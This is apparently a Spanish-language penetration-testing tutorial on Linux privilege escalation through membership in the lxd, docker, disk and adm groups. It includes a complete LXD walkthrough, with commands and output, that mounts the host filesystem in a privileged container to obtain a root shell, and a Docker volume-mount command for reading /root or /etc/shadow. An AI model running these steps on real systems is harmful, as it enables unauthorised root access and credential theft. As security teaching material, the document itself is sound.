Saltar a contenido

Privileged Groups

LXC / LXD

LXD es similar a Docker y es el administrador de contenedores de Ubuntu. Al instalarlo, todos los usuarios se agregan al grupo LXD. La pertenencia a este grupo puede ser utilizada para escalar privilegios creando un contenedor LXD, haciéndolo privilegiado y luego accediendo al sistema de archivos del host en /mnt/root. Confirmemos la pertenencia al grupo y usemos estos derechos para escalar a root.

devops@NIX02:~$ id

uid=1009(devops) gid=1009(devops) groups=1009(devops),110(lxd)

Descomprime la imagen de Alpine.

devops@NIX02:~$ unzip alpine.zip 

Archive:  alpine.zip
extracting: 64-bit Alpine/alpine.tar.gz  
inflating: 64-bit Alpine/alpine.tar.gz.root  
cd 64-bit\ Alpine/

Inicia el proceso de inicialización de LXD. Elige los valores predeterminados para cada solicitud. Consulta este post para más información sobre cada paso.

devops@NIX02:~$ lxd init

Do you want to configure a new storage pool (yes/no) [default=yes]? yes
Name of the storage backend to use (dir or zfs) [default=dir]: dir
Would you like LXD to be available over the network (yes/no) [default=no]? no
Do you want to configure the LXD bridge (yes/no) [default=yes]? yes

/usr/sbin/dpkg-reconfigure must be run as root
error: Failed to configure the bridge

Importa la imagen local.

devops@NIX02:~$ lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine

Generating a client certificate. This may take a minute...
If this is your first time using LXD, you should also run: sudo lxd init
To start your first container, try: lxc launch ubuntu:16.04

Image imported with fingerprint: be1ed370b16f6f3d63946d47eb57f8e04c77248c23f47a41831b5afff48f8d1b

Inicia un contenedor privilegiado con security.privileged establecido en true para ejecutar el contenedor sin un mapeo de UID, haciendo que el usuario root en el contenedor sea el mismo que el usuario root en el host.

devops@NIX02:~$ lxc init alpine r00t -c security.privileged=true

Creating r00t

Monta el sistema de archivos del host.

devops@NIX02:~$ lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true

Device mydev added to r00t

Finalmente, abre una shell dentro de la instancia del contenedor. Ahora podemos navegar por el sistema de archivos montado del host como root. Por ejemplo, para acceder al contenido del directorio root en el host escribe cd /mnt/root/root. Desde aquí podemos leer archivos sensibles como /etc/shadow y obtener hashes de contraseñas o acceder a las claves SSH para conectarnos al sistema host como root, y más.

devops@NIX02:~$ lxc start r00t
devops@NIX02:~/64-bit Alpine$ lxc exec r00t /bin/sh

~ # id
uid=0(root) gid=0(root)
~ # 

Docker

Colocar a un usuario en el grupo docker es esencialmente equivalente a acceso a nivel root al sistema de archivos sin requerir una contraseña. Los miembros del grupo docker pueden iniciar nuevos contenedores docker. Un ejemplo sería ejecutar el comando docker run -v /root:/mnt -it ubuntu. Este comando crea una nueva instancia de Docker con el directorio /root del sistema de archivos del host montado como un volumen. Una vez iniciado el contenedor, podemos navegar al directorio montado y recuperar o agregar claves SSH para el usuario root. Esto podría hacerse para otros directorios como /etc que podrían usarse para recuperar el contenido del archivo /etc/shadow para cracking de contraseñas offline o agregar un usuario privilegiado.


Disk

Los usuarios dentro del grupo disk tienen acceso completo a cualquier dispositivo contenido dentro de /dev, como /dev/sda1, que es típicamente el dispositivo principal utilizado por el sistema operativo. Un atacante con estos privilegios puede usar debugfs para acceder a todo el sistema de archivos con privilegios de root. Al igual que con el ejemplo del grupo Docker, esto podría aprovecharse para recuperar claves SSH, credenciales o agregar un usuario.


ADM

Los miembros del grupo adm pueden leer todos los registros almacenados en /var/log. Esto no otorga acceso directo a root, pero podría aprovecharse para recopilar datos sensibles almacenados en archivos de registro o enumerar acciones de usuarios y trabajos cron en ejecución.

secaudit@NIX02:~$ id

uid=1010(secaudit) gid=1010(secaudit) groups=1010(secaudit),4(adm)